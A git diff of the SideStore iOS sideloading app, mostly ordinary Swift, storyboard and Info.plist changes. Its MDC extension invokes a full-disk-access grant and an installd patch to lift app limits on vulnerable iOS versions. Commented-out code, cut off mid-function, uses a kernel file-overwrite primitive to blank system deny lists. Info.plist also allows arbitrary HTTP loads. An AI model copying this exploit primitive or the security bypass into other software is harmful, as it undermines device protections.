<rect key="frame" x="8" y="14" width="359" height="171"/>
<fontDescription key="fontDescription" style="UICTFontTextStyleCallout"/>
<color key="textColor" white="0.5" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -990,7 +999,46 @@ World</string>
<constraint firstAttribute="leadingMargin" secondItem="TZv-TM-uJj" secondAttribute="leading" id="aS5-6Y-rMd"/>
</constraints>
<connections>
<outlet property="bottomLayoutConstraint" destination="Aml-PC-dko" id="I1s-ae-C8A"/>
<outlet property="leadingLayoutConstraint" destination="aS5-6Y-rMd" id="An8-KN-xfb"/>
<outlet property="textLabel" destination="TZv-TM-uJj" id="kWV-Wv-5gz"/>
<outlet property="topLayoutConstraint" destination="2zE-UV-24S" id="mjq-yH-v8J"/>
<outlet property="trailingLayoutConstraint" destination="V0U-al-5eb" id="z8b-2G-SgY"/>
</connections>
</collectionReusableView>
<collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Footer" id="X5B-Kp-w1p" customClass="SourcesFooterView">
<rect key="frame" x="0.0" y="280" width="375" height="50"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="15" translatesAutoresizingMaskIntoConstraints="NO" id="j0O-xE-gyd">
<rect key="frame" x="8" y="0.0" width="359" height="50"/>
<subviews>
<activityIndicatorView opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" hidesWhenStopped="YES" animating="YES" style="medium" translatesAutoresizingMaskIntoConstraints="NO" id="PNx-uR-y2F">
<rect key="frame" x="0.0" y="0.0" width="359" height="0.0"/>
</activityIndicatorView>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" verticalCompressionResistancePriority="800" scrollEnabled="NO" contentInsetAdjustmentBehavior="never" editable="NO" text="Test" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="66c-H8-KJx">
<rect key="frame" x="0.0" y="15" width="359" height="35"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<color key="textColor" white="0.5" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<fontDescription key="fontDescription" style="UICTFontTextStyleSubhead"/>
<textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
</textView>
</subviews>
</stackView>
</subviews>
<constraints>
<constraint firstAttribute="bottom" secondItem="j0O-xE-gyd" secondAttribute="bottom" id="BQ5-11-BzK"/>
<constraint firstItem="j0O-xE-gyd" firstAttribute="top" secondItem="X5B-Kp-w1p" secondAttribute="top" id="KZg-fd-8Cp" propertyAccessControl="none"/>
<constraint firstItem="j0O-xE-gyd" firstAttribute="leading" secondItem="X5B-Kp-w1p" secondAttribute="leadingMargin" id="R2x-Io-bXD"/>
<constraint firstAttribute="trailingMargin" secondItem="j0O-xE-gyd" secondAttribute="trailing" id="aBK-Bq-P9O"/>
</constraints>
<connections>
<outlet property="activityIndicatorView" destination="PNx-uR-y2F" id="7Le-VW-GYK"/>
<outlet property="bottomLayoutConstraint" destination="BQ5-11-BzK" id="iJR-4o-u9l"/>
<outlet property="leadingLayoutConstraint" destination="R2x-Io-bXD" id="plZ-Yj-zTc"/>
<outlet property="textView" destination="66c-H8-KJx" id="kwc-OH-U6i"/>
<outlet property="topLayoutConstraint" destination="KZg-fd-8Cp" id="zNM-UU-feF"/>
<outlet property="trailingLayoutConstraint" destination="aBK-Bq-P9O" id="L2r-VL-ruT"/>
</connections>
</collectionReusableView>
<connections>
@@ -1022,7 +1070,7 @@ World</string>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="Qo4-72-Hmr" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe">
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -1036,7 +1084,7 @@ World</string>
</scene>
</scenes>
<inferredMetricsTieBreakers>
<segue reference="de9-NH-aec"/>
<segue reference="Qd6-ba-dIo"/>
<segue reference="cnd-KK-o60"/>
</inferredMetricsTieBreakers>
<color key="tintColor" name="Primary"/>
@@ -1047,13 +1095,13 @@ World</string>
<image name="News" width="19" height="20"/>
<image name="Settings" width="20" height="20"/>
<namedColor name="Background">
<color red="0.0040000001899898052" green="0.50199997425079346" blue="0.51800000667572021" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="BlurTint">
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/>
<color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="Primary">
<color red="0.0040000001899898052" green="0.50199997425079346" blue="0.51800000667572021" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>

View File

@@ -0,0 +1,17 @@
//
// Proxy.swift
// SideStore
//
// Created by Joseph Mattiello on 11/7/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import Foundation
public extension Consts {
enum Proxy {
static let address = "127.0.0.1"
static let port = "51820"
static let serverURL = "\(address):\(port)"
}
}

View File

@@ -0,0 +1,13 @@
//
// Consts.swift
// SideStore
//
// Created by Joseph Mattiello on 11/7/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import Foundation
public enum Consts {
}

View File

@@ -0,0 +1,13 @@
//
// Error+Message.swift
// SideStore
//
// Created by naturecodevoid on 5/30/23.
// Copyright © 2023 SideStore. All rights reserved.
//
extension Error {
func message() -> String {
(self as? LocalizedError)?.failureReason ?? self.localizedDescription
}
}

View File

@@ -1,60 +0,0 @@
//
// NSError+AltStore.swift
// AltStore
//
// Created by Riley Testut on 3/11/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import Foundation
extension NSError
{
@objc(alt_localizedFailure)
var localizedFailure: String? {
let localizedFailure = (self.userInfo[NSLocalizedFailureErrorKey] as? String) ?? (NSError.userInfoValueProvider(forDomain: self.domain)?(self, NSLocalizedFailureErrorKey) as? String)
return localizedFailure
}
func withLocalizedFailure(_ failure: String) -> NSError
{
var userInfo = self.userInfo
userInfo[NSLocalizedFailureErrorKey] = failure
userInfo[NSLocalizedDescriptionKey] = self.localizedDescription
userInfo[NSLocalizedFailureReasonErrorKey] = self.localizedFailureReason
userInfo[NSLocalizedRecoverySuggestionErrorKey] = self.localizedRecoverySuggestion
let error = NSError(domain: self.domain, code: self.code, userInfo: userInfo)
return error
}
func sanitizedForCoreData() -> NSError
{
var userInfo = self.userInfo
userInfo[NSLocalizedFailureErrorKey] = self.localizedFailure
userInfo[NSLocalizedDescriptionKey] = self.localizedDescription
userInfo[NSLocalizedFailureReasonErrorKey] = self.localizedFailureReason
userInfo[NSLocalizedRecoverySuggestionErrorKey] = self.localizedRecoverySuggestion
// Remove non-ObjC-compliant userInfo values.
userInfo["NSCodingPath"] = nil
let error = NSError(domain: self.domain, code: self.code, userInfo: userInfo)
return error
}
}
protocol ALTLocalizedError: LocalizedError, CustomNSError
{
var errorFailure: String? { get }
}
extension ALTLocalizedError
{
var errorUserInfo: [String : Any] {
let userInfo = [NSLocalizedDescriptionKey: self.errorDescription,
NSLocalizedFailureReasonErrorKey: self.failureReason,
NSLocalizedFailureErrorKey: self.errorFailure].compactMapValues { $0 }
return userInfo
}
}

View File

@@ -0,0 +1,74 @@
//
// OSLog+SideStore.swift
// SideStore
//
// Created by Joseph Mattiello on 11/16/22.
// Copyright © 2022 SideStore. All rights reserved.
//
import Foundation
import OSLog
public let customLog = OSLog(subsystem: "org.sidestore.sidestore",
category: "ios")
public extension OSLog {
/// Error logger extension
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
static func error(_ message: StaticString, _ args: CVarArg...) {
os_log(message, log: customLog, type: .error, args)
}
/// Info logger extension
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
static func info(_ message: StaticString, _ args: CVarArg...) {
os_log(message, log: customLog, type: .info, args)
}
/// Debug logger extension
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
static func debug(_ message: StaticString, _ args: CVarArg...) {
os_log(message, log: customLog, type: .debug, args)
}
}
// TODO: Add file,line,function to messages? -- @JoeMatt
/// Error logger convenience method for SideStore logging
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
public func ELOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.error(message, args)
}
/// Info logger convenience method for SideStore logging
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
public func ILOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.info(message, args)
}
/// Debug logger convenience method for SideStore logging
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
public func DLOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.debug(message, args)
}
// mark: Helpers

View File

@@ -0,0 +1,19 @@
//
// Source+Trusted.swift
// SideStore
//
// Created by Fabian Thies on 04.02.23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension Source {
var isOfficial: Bool {
self.identifier == Source.altStoreIdentifier
}
var isTrusted: Bool {
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
}
}

View File

@@ -0,0 +1,17 @@
//
// StoreApp+Searchable.swift
// SideStore
//
// Created by Fabian Thies on 01.12.22.
// Copyright © 2022 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp: Filterable {
func matches(_ searchText: String) -> Bool {
searchText.isEmpty ||
self.name.lowercased().contains(searchText.lowercased()) ||
self.developerName.lowercased().contains(searchText.lowercased())
}
}

View File

@@ -0,0 +1,15 @@
//
// StoreApp+SideStore.swift
// SideStore
//
// Created by naturecodevoid on 4/9/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp {
var isSideStore: Bool {
self.bundleIdentifier == Bundle.Info.appbundleIdentifier
}
}

View File

@@ -0,0 +1,19 @@
//
// StoreApp+Trusted.swift
// SideStore
//
// Created by Fabian Thies on 04.02.23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp {
var isFromOfficialSource: Bool {
self.source?.isOfficial ?? false
}
var isFromTrustedSource: Bool {
self.source?.isTrusted ?? false
}
}

View File

@@ -0,0 +1,45 @@
//
// UIApplication+SideStore.swift
// SideStore
//
// Created by naturecodevoid on 5/20/23.
// Copyright © 2023 SideStore. All rights reserved.
//
extension UIApplication {
static var keyWindow: UIWindow? {
UIApplication.shared.windows.filter { $0.isKeyWindow }.first
}
static var topController: UIViewController? {
guard var topController = keyWindow?.rootViewController else { return nil }
while let presentedViewController = topController.presentedViewController {
topController = presentedViewController
}
return topController
}
static func alert(
title: String? = nil,
message: String? = nil,
leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
leftButtonStyle: UIAlertAction.Style = .default,
rightButtonStyle: UIAlertAction.Style = .default
) {
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
if let leftButton = leftButton {
alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
}
if let rightButton = rightButton {
alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
}
if rightButton == nil && leftButton == nil {
alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
}
DispatchQueue.main.async {
topController?.present(alert, animated: true)
}
}
}

View File

@@ -7,6 +7,7 @@
//
import UIKit
import ARKit
extension UIDevice
{
@@ -27,4 +28,23 @@ extension UIDevice
return false
}
}
@available(iOS 14, *)
var supportsFugu14: Bool {
#if targetEnvironment(simulator)
return true
#else
// Fugu14 is supported on devices with an A12 processor or better.
// ARKit 3 is only supported by devices with an A12 processor or better, according to the documentation.
return ARBodyTrackingConfiguration.isSupported
#endif
}
@available(iOS 14, *)
var isUntetheredJailbreakRequired: Bool {
let ios14_4 = OperatingSystemVersion(majorVersion: 14, minorVersion: 4, patchVersion: 0)
let isUntetheredJailbreakRequired = ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14_4)
return isUntetheredJailbreakRequired
}
}

View File

@@ -0,0 +1,46 @@
//
// UIDevice+Vibration.swift
// AltStore
//
// Created by Riley Testut on 9/1/21.
// Copyright © 2021 Riley Testut. All rights reserved.
//
import AudioToolbox
import CoreHaptics
private extension SystemSoundID
{
static let pop = SystemSoundID(1520)
static let cancelled = SystemSoundID(1521)
static let tryAgain = SystemSoundID(1102)
}
@available(iOS 13, *)
extension UIDevice
{
enum VibrationPattern
{
case success
case error
}
}
@available(iOS 13, *)
extension UIDevice
{
var isVibrationSupported: Bool {
return CHHapticEngine.capabilitiesForHardware().supportsHaptics
}
func vibrate(pattern: VibrationPattern)
{
guard self.isVibrationSupported else { return }
switch pattern
{
case .success: AudioServicesPlaySystemSound(.tryAgain)
case .error: AudioServicesPlaySystemSound(.cancelled)
}
}
}

View File

@@ -0,0 +1,22 @@
//
// View+Hidden.swift
// SideStore
//
// Created by naturecodevoid on 2/18/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import SwiftUI
// https://stackoverflow.com/a/59228385 (modified)
extension View {
@ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
if hidden.wrappedValue {
if !remove {
self.hidden()
}
} else {
self
}
}
}

View File

@@ -4,12 +4,23 @@
<dict>
<key>ALTAppGroups</key>
<array>
<string>group.com.rileytestut.AltStore</string>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008030-001948590202802E</string>
<string>00008101-000129D63698001E</string>
<key>ALTServerID</key>
<string>1AAAB6FD-E8CE-4B70-8F26-4073215C03B0</string>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTAnisetteURL</key>
<!--
for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
removes the rest of the line and makes the plist invalid. to get around this,
we add a variable expansion ( $() ) in between the slashes that will ultimately
evaluate to nothing, keeping the original URL while keeping the plist valid.
-->
<string>http:/$()/ani.sidestore.io:6969</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
@@ -39,6 +50,8 @@
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
@@ -51,6 +64,7 @@
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
@@ -61,6 +75,7 @@
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
@@ -89,7 +104,7 @@
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>AltStore uses the local network to find and communicate with AltServer.</string>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
@@ -124,6 +139,11 @@
</array>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
@@ -170,6 +190,37 @@
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array>
<string>mobiledevicepairing</string>
</array>
</dict>
</dict>
</array>
<key>UISupportsDocumentBrowser</key>
<true/>
<key>UIFileSharingEnabled</key>
<true/>
<!--
#if MDC
-->
<key>NSAppleMusicUsageDescription</key>
<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
<!--
#endif
-->
</dict>
</plist>

View File

@@ -11,13 +11,15 @@ import Foundation
import AltStoreCore
@available(iOS 14, *)
class IntentHandler: NSObject, RefreshAllIntentHandling
final class IntentHandler: NSObject, RefreshAllIntentHandling
{
private let queue = DispatchQueue(label: "io.altstore.IntentHandler")
private var completionHandlers = [RefreshAllIntent: (RefreshAllIntentResponse) -> Void]()
private var queuedResponses = [RefreshAllIntent: RefreshAllIntentResponse]()
private var operations = [RefreshAllIntent: BackgroundRefreshAppsOperation]()
func confirm(intent: RefreshAllIntent, completion: @escaping (RefreshAllIntentResponse) -> Void)
{
// Refreshing apps usually, but not always, completes within alotted time.
@@ -73,6 +75,19 @@ class IntentHandler: NSObject, RefreshAllIntentHandling
self.queuedResponses[intent] = nil
self.finish(intent, response: response)
}
else
{
self.queue.asyncAfter(deadline: .now() + 7.0) {
if let operation = self.operations[intent]
{
// We took too long to finish and return the final result,
// so we'll now present a normal notification when finished.
operation.presentsFinishedNotification = true
}
self.finish(intent, response: RefreshAllIntentResponse(code: .inProgress, userActivity: nil))
}
}
}
}
@@ -82,10 +97,16 @@ private extension IntentHandler
func finish(_ intent: RefreshAllIntent, response: RefreshAllIntentResponse)
{
self.queue.async {
guard let completionHandler = self.completionHandlers[intent] else { return }
self.completionHandlers[intent] = nil
completionHandler(response)
if let completionHandler = self.completionHandlers[intent]
{
self.completionHandlers[intent] = nil
completionHandler(response)
}
else if response.code != .ready && response.code != .inProgress
{
// Queue response in case refreshing finishes after confirm() but before handle().
self.queuedResponses[intent] = response
}
}
}
@@ -93,7 +114,7 @@ private extension IntentHandler
{
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
let installedApps = InstalledApp.fetchActiveApps(in: context)
AppManager.shared.backgroundRefresh(installedApps, presentsNotifications: false) { (result) in
let operation = AppManager.shared.backgroundRefresh(installedApps, presentsNotifications: false) { (result) in
do
{
let results = try result.get()
@@ -115,7 +136,11 @@ private extension IntentHandler
print("Failed to refresh apps in background.", error)
self.finish(intent, response: RefreshAllIntentResponse.failure(localizedDescription: error.localizedFailureReason ?? error.localizedDescription))
}
self.operations[intent] = nil
}
self.operations[intent] = operation
}
}
}

View File

@@ -7,11 +7,17 @@
//
import UIKit
import SwiftUI
import Roxas
import EmotionalDamage
import minimuxer
import AltStoreCore
import UniformTypeIdentifiers
class LaunchViewController: RSTLaunchViewController
let pairingFileName = "ALTPairingFile.mobiledevicepairing"
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
{
private var didFinishLaunching = false
@@ -35,10 +41,125 @@ class LaunchViewController: RSTLaunchViewController
override func viewDidLoad()
{
defer {
if UnstableFeatures.enabled(.swiftUI) {
let rootView = RootView()
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
self.destinationViewController = UIHostingController(rootView: rootView)
} else {
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
}
}
super.viewDidLoad()
}
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true)
#if MDC
MDC.alertIfNotPatched()
#endif
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
#if !targetEnvironment(simulator)
if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
self.showOnboarding()
return
}
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
guard let pf = fetchPairingFile() else {
self.showOnboarding(enabledSteps: [.pairing])
return
}
start_minimuxer_threads(pf)
#endif
}
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
navigationController.isNavigationBarHidden = true
navigationController.isModalInPresentation = true
self.present(navigationController, animated: true)
}
func fetchPairingFile() -> String? {
let filename = "ALTPairingFile.mobiledevicepairing"
let fm = FileManager.default
let documentsPath = fm.documentsDirectory.appendingPathComponent("/\(filename)")
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty {
print("Loaded ALTPairingFile from \(documentsPath.path)")
return contents
} else if
let appResourcePath = Bundle.main.url(forResource: "ALTPairingFile", withExtension: "mobiledevicepairing"),
fm.fileExists(atPath: appResourcePath.path),
let data = fm.contents(atPath: appResourcePath.path),
let contents = String(data: data, encoding: .utf8),
!contents.isEmpty {
print("Loaded ALTPairingFile from \(appResourcePath.path)")
return contents
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
print("Loaded ALTPairingFile from Info.plist")
return plistString
}
return nil
}
func displayError(_ msg: String) {
print(msg)
// Create a new alert
let dialogMessage = UIAlertController(title: "Error launching SideStore", message: msg, preferredStyle: .alert)
// Present alert to user
self.present(dialogMessage, animated: true, completion: nil)
}
func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) {
let url = urls[0]
let isSecuredURL = url.startAccessingSecurityScopedResource() == true
do {
// Read to a string
let data1 = try Data(contentsOf: urls[0])
let pairing_string = String(bytes: data1, encoding: .utf8)
if pairing_string == nil {
displayError("Unable to read pairing file")
}
// Save to a file for next launch
let pairingFile = FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")
try pairing_string?.write(to: pairingFile, atomically: true, encoding: String.Encoding.utf8)
// Start minimuxer now that we have a file
start_minimuxer_threads(pairing_string!)
} catch {
displayError("Unable to read pairing file")
}
if (isSecuredURL) {
url.stopAccessingSecurityScopedResource()
}
controller.dismiss(animated: true, completion: nil)
}
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
}
func start_minimuxer_threads(_ pairing_file: String) {
target_minimuxer_address()
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
do {
try start(pairing_file, documentsDirectory)
} catch {
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
}
set_debug(UserDefaults.shared.isDebugLoggingEnabled)
start_auto_mounter(documentsDirectory)
}
}
@@ -52,9 +173,21 @@ extension LaunchViewController
}
catch let error as NSError
{
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch AltStore", comment: "")
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
let alertController = UIAlertController(title: title, message: error.localizedDescription, preferredStyle: .alert)
let errorDescription: String
if #available(iOS 14.5, *)
{
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
errorDescription = errorMessages.joined(separator: "\n\n")
}
else
{
errorDescription = error.debugDescription
}
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in
self.handleLaunchConditions()
}))
@@ -69,6 +202,7 @@ extension LaunchViewController
guard !self.didFinishLaunching else { return }
AppManager.shared.update()
AppManager.shared.updatePatronsIfNeeded()
PatreonAPI.shared.refreshPatreonAccount()
// Add view controller as child (rather than presenting modally)

View File

@@ -0,0 +1,177 @@
// Extension of MDC+AltStoreCore for the functionality AltStore uses
// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
import Foundation
import AltStoreCore
extension MDC {
#if MDC
enum PatchError: LocalizedError {
case NoFDA(error: String)
case FailedPatchd
var failureReason: String? {
switch (self) {
case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
}
}
}
static func patch3AppLimit() async throws {
#if !targetEnvironment(simulator)
let res: PatchError? = await withCheckedContinuation { continuation in
grant_full_disk_access { error in
if let error = error {
continuation.resume(returning: PatchError.NoFDA(error: error.message()))
} else if !patch_installd() {
continuation.resume(returning: PatchError.FailedPatchd)
} else {
continuation.resume(returning: nil)
}
}
}
if let error = res {
throw error
}
#else
print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
// throw MDC.PatchError.NoFDA(error: "This is a test error")
#endif
UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
UserDefaults.shared.hasPatchedInstalldEver = true
}
static func alertIfNotPatched() {
guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
UIApplication.alert(
title: L10n.Remove3AppLimitView.title,
message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
Task {
do {
try await MDC.patch3AppLimit()
await UIApplication.alert(
title: L10n.Remove3AppLimitView.success
)
} catch {
await UIApplication.alert(
title: L10n.AsyncFallibleButton.error,
message: error.message()
)
}
}
}),
rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
)
}
#endif
private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
static var isSupported: Bool {
#if targetEnvironment(simulator)
true
#else
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
#endif
}
}
#if MDC
// enum WhitelistPatchResult {
// case success, failure
// }
//
// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
